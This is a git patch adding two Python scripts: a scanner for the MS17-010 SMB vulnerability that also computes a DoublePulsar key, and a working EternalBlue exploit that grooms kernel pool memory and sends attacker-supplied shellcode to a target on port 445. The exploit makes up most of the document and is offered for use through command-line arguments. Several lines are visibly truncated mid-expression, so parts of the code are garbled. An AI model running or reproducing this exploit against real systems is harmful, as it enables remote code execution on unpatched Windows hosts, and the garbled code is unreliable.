From 29f73ea507011b0693a35408854259d5423aad1c Mon Sep 17 00:00:00 2001 From: Miguel R Date: Thu, 21 Oct 2021 00:46:50 +0200 Subject: [PATCH] UPDATE --- eternalblue_scanner.py | 395 ++++++++++++++++++++++++++++++++++++++++ ms17_010_eternalblue.py | 386 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 781 insertions(+) create mode 100644 eternalblue_scanner.py create mode 100644 ms17_010_eternalblue.py diff --git a/eternalblue_scanner.py b/eternalblue_scanner.py new file mode 100644 index 0000000..19c27a4 --- /dev/null +++ b/eternalblue_scanner.py @@ -0,0 +1,395 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from ctypes import * +import socket +import struct +import logging + + +logging.basicConfig(level=logging.INFO, format="%(message)s") +log = logging.getLogger(__file__) + + +class SMB_HEADER(Structure): + """SMB Header decoder. + """ + + _pack_ = 1 + + _fields_ = [ + ("server_component", c_uint32), + ("smb_command", c_uint8), + ("error_class", c_uint8), + ("reserved1", c_uint8), + ("error_code", c_uint16), + ("flags", c_uint8), + ("flags2", c_uint16), + ("process_id_high", c_uint16), + ("signature", c_uint64), + ("reserved2", c_uint16), + ("tree_id", c_uint16), + ("process_id", c_uint16), + ("user_id", c_uint16), + ("multiplex_id", c_uint16) + ] + + def __new__(self, buffer=None): + return self.from_buffer_copy(buffer) + + def __init__(self, buffer): + log.debug("server_component : %04x" % self.server_component) + log.debug("smb_command : %01x" % self.smb_command) + log.debug("error_class : %01x" % self.error_class) + log.debug("error_code : %02x" % self.error_code) + log.debug("flags : %01x" % self.flags) + log.debug("flags2 : %02x" % self.flags2) + log.debug("process_id_high : %02x" % self.process_id_high) + log.debug("signature : %08x" % self.signature) + log.debug("reserved2 : %02x" % self.reserved2) + log.debug("tree_id : %02x" % self.tree_id) + log.debug("process_id : %02x" % self.process_id) + log.debug("user_id : %02x" % self.user_id) + log.debug("multiplex_id : %02x" % self.multiplex_id) + + +def generate_smb_proto_payload(*protos): + """Generate SMB Protocol. Pakcet protos in order. + """ + hexdata = [] + for proto in protos: + hexdata.extend(proto) + return "".join(hexdata) + + +def calculate_doublepulsar_xor_key(s): + """Calaculate Doublepulsar Xor Key + """ + x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) + x = x & 0xffffffff + return x + + +def negotiate_proto_request(): + """Generate a negotiate_proto_request packet. + """ + log.debug("generate negotiate request") + netbios = [ + '\x00', + '\x00\x00\x54' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', + '\x72', + '\x00\x00\x00\x00', + '\x18', + '\x01\x28', + '\x00\x00', + '\x00\x00\x00\x00\x00\x00\x00\x00', + '\x00\x00', + '\x00\x00', + '\x2F\x4B', + '\x00\x00', + '\xC5\x5E' + ] + + negotiate_proto_request = [ + '\x00', + '\x31\x00', + + '\x02', + '\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00', + + '\x02', + '\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00', + + '\x02', + '\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00', + + '\x02', + '\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' + ] + + return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) + + +def session_setup_andx_request(): + """Generate session setuo andx request. + """ + log.debug("generate session setup andx request") + netbios = [ + '\x00', + '\x00\x00\x63' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', + '\x73', + '\x00\x00\x00\x00', + '\x18', + '\x01\x20', + '\x00\x00', + '\x00\x00\x00\x00\x00\x00\x00\x00', + '\x00\x00', + '\x00\x00', + '\x2F\x4B', + '\x00\x00', + '\xC5\x5E', + ] + + session_setup_andx_request = [ + '\x0D', + '\xFF', + '\x00', + '\x00\x00', + '\xDF\xFF', + '\x02\x00', + '\x01\x00', + '\x00\x00\x00\x00', + '\x00\x00', + '\x00\x00', + '\x00\x00\x00\x00', + '\x40\x00\x00\x00', + '\x26\x00', + '\x00', + '\x2e\x00', + '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', + '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', + ] + + return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) + + +def tree_connect_andx_request(ip, userid): + """Generate tree connect andx request. + """ + log.debug("generate tree connect andx request") + + netbios = [ + '\x00', + '\x00\x00\x47' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', + '\x75', + '\x00\x00\x00\x00', + '\x18', + '\x01\x20', + '\x00\x00', + '\x00\x00\x00\x00\x00\x00\x00\x00', + '\x00\x00', + '\x00\x00', + '\x2F\x4B', + userid, + '\xC5\x5E' + ] + + ipc = "\\\\{}\IPC$\x00".format(ip) + log.debug("Connecting to {} with UID = {}".format(ipc, userid)) + + tree_connect_andx_request = [ + '\x04', + '\xFF', + '\x00', + '\x00\x00', + '\x00\x00', + '\x01\x00', + '\x1A\x00', + '\x00', + ipc.encode(), + '\x3f\x3f\x3f\x3f\x3f\x00' + ] + + length = len("".join(smb_header)) + len("".join(tree_connect_andx_request)) + + netbios[1] = struct.pack(">L", length)[-3:] + + return generate_smb_proto_payload(netbios, smb_header, tree_connect_andx_request) + + +def peeknamedpipe_request(treeid, processid, userid, multiplex_id): + """Generate tran2 request + """ + log.debug("generate peeknamedpipe request") + netbios = [ + '\x00', + '\x00\x00\x4a' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', + '\x25', + '\x00\x00\x00\x00', + '\x18', + '\x01\x28', + '\x00\x00', + '\x00\x00\x00\x00\x00\x00\x00\x00', + '\x00\x00', + treeid, + processid, + userid, + multiplex_id + ] + + tran_request = [ + '\x10', + '\x00\x00', + '\x00\x00', + '\xff\xff', + '\xff\xff', + '\x00', + '\x00', + '\x00\x00', + '\x00\x00\x00\x00', + '\x00\x00', + '\x00\x00', + '\x4a\x00', + '\x00\x00', + '\x4a\x00', + '\x02', + '\x00', + '\x23\x00', + '\x00\x00', + '\x07\x00', + '\x5c\x50\x49\x50\x45\x5c\x00' + ] + + return generate_smb_proto_payload(netbios, smb_header, tran_request) + + +def trans2_request(treeid, processid, userid, multiplex_id): + """Generate trans2 request. + """ + log.debug("generate tran2 request") + netbios = [ + '\x00', + '\x00\x00\x4f' + ] + + smb_header = [ + '\xFF\x53\x4D\x42', + '\x32', + '\x00\x00\x00\x00', + '\x18', + '\x07\xc0', + '\x00\x00', + '\x00\x00\x00\x00\x00\x00\x00\x00', + '\x00\x00', + treeid, + processid, + userid, + multiplex_id + ] + + trans2_request = [ + '\x0f', + '\x0c\x00', + '\x00\x00', + '\x01\x00', + '\x00\x00', + '\x00', + '\x00', + '\x00\x00', + '\xa6\xd9\xa4\x00', + '\x00\x00', + '\x0c\x00', + '\x42\x00', + '\x00\x00', + '\x4e\x00', + '\x01', + '\x00', + '\x0e\x00', + '\x00\x00', + '\x0c\x00' + '\x00' * 12 + ] + + return generate_smb_proto_payload(netbios, smb_header, trans2_request) + +def check(ip, port=445): + """Check if MS17_010 SMB Vulnerability exists. + """ + try: + buffersize = 1024 + timeout = 5.0 + + client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + client.settimeout(timeout) + client.connect((ip, port)) + + raw_proto = negotiate_proto_request() + client.send(raw_proto) + tcp_response = client.recv(buffersize) + + raw_proto = session_setup_andx_request() + client.send(raw_proto) + tcp_response = client.recv(buffersize) + netbios = tcp_response[:4] + smb_header = tcp_response[4:36] + smb = SMB_HEADER(smb_header) + + user_id = struct.pack('".format(sys.argv[0])) + sys.exit(1) + else: + check(sys.argv[1]) diff --git a/ms17_010_eternalblue.py b/ms17_010_eternalblue.py new file mode 100644 index 0000000..f6d50d7 --- /dev/null +++ b/ms17_010_eternalblue.py @@ -0,0 +1,386 @@ +#!/usr/bin/python +from impacket import smb +from struct import pack +import sys +import socket + +NTFEA_SIZE = 0x11000 + +ntfea10000 = pack('= 0xffff: + flags2 &= ~smb.SMB.FLAGS2_UNICODE + reqSize = size // 2 + else: + flags2 |= smb.SMB.FLAGS2_UNICODE + reqSize = size + conn.set_flags(flags2=flags2) + + pkt = smb.NewSMBPacket() + + sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) + sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() + + sessionSetup['Parameters']['MaxBufferSize'] = 61440 + sessionSetup['Parameters']['MaxMpxCount'] = 2 + sessionSetup['Parameters']['VcNumber'] = 2 + sessionSetup['Parameters']['SessionKey'] = 0 + sessionSetup['Parameters']['SecurityBlobLength'] = 0 + + sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY + + sessionSetup['Data'] = pack(' 0: + pad2Len = (4 - fixedOffset % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = len(data) + transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len + transCommand['Parameters']['DataDisplacement'] = displacement + + transCommand['Data']['Trans_Parameters'] = '' + transCommand['Data']['Trans_Data'] = data + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + + +def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): + + + pkt = smb.NewSMBPacket() + pkt['Tid'] = tid + + command = pack(' 0: + padLen = (4 - fixedOffset % 4 ) % 4 + padBytes = '\xFF' * padLen + transCommand['Data']['Pad1'] = padBytes + else: + transCommand['Data']['Pad1'] = '' + padLen = 0 + + transCommand['Parameters']['ParameterCount'] = len(param) + transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen + + if len(data) > 0: + pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 + transCommand['Data']['Pad2'] = '\xFF' * pad2Len + else: + transCommand['Data']['Pad2'] = '' + pad2Len = 0 + + transCommand['Parameters']['DataCount'] = firstDataFragmentSize + transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len + + transCommand['Data']['Trans_Parameters'] = param + transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] + pkt.addCommand(transCommand) + + conn.sendSMB(pkt) + conn.recvSMB() + + + i = firstDataFragmentSize + while i < len(data): + + sendSize = min(4096, len(data) - i) + if len(data) - i <= 4096: + if not sendLastChunk: + break + send_trans2_second(conn, tid, data[i:i+sendSize], i) + i += sendSize + + if sendLastChunk: + conn.recvSMB() + return i + + +def createConnectionWithBigSMBFirst80(target): + + + sk = socket.create_connection((target, 445)) + + pkt = b'\x00' + b'\x00' + pack('>H', 0xfff7) + + + pkt += b'BAAD' + pkt += b'\x00'*0x7c + sk.send(pkt) + return sk + + +def exploit(target, shellcode, numGroomConn): + + conn = smb.SMB(target, target) + + conn.login_standard('', '') + server_os = conn.get_server_os() + print('Target OS: '+server_os) + if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")): + print('This exploit does not support this target') + sys.exit() + + + tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') + + + progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) + + + allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) + + srvnetConn = [] + for i in range(numGroomConn): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + + holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) + + + allocConn.get_socket().close() + + + for i in range(5): + sk = createConnectionWithBigSMBFirst80(target) + srvnetConn.append(sk) + + + holeConn.get_socket().close() + + + send_trans2_second(conn, tid, feaList[progress:], progress) + recvPkt = conn.recvSMB() + retStatus = recvPkt.getNTStatus() + + if retStatus == 0xc000000d: + print('good response status: INVALID_PARAMETER') + else: + print('bad response status: 0x{:08x}'.format(retStatus)) + + + for sk in srvnetConn: + sk.send(fake_recv_struct + shellcode) + + + for sk in srvnetConn: + sk.close() + + + conn.disconnect_tree(tid) + conn.logoff() + conn.get_socket().close() + + +if len(sys.argv) < 3: + print("{} [numGroomConn]".format(sys.argv[0])) + sys.exit(1) + +TARGET=sys.argv[1] +numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) + +fp = open(sys.argv[2], 'rb') +sc = fp.read() +fp.close() + +print('shellcode size: {:d}'.format(len(sc))) +print('numGroomConn: {:d}'.format(numGroomConn)) + +exploit(TARGET, sc, numGroomConn) +print('done')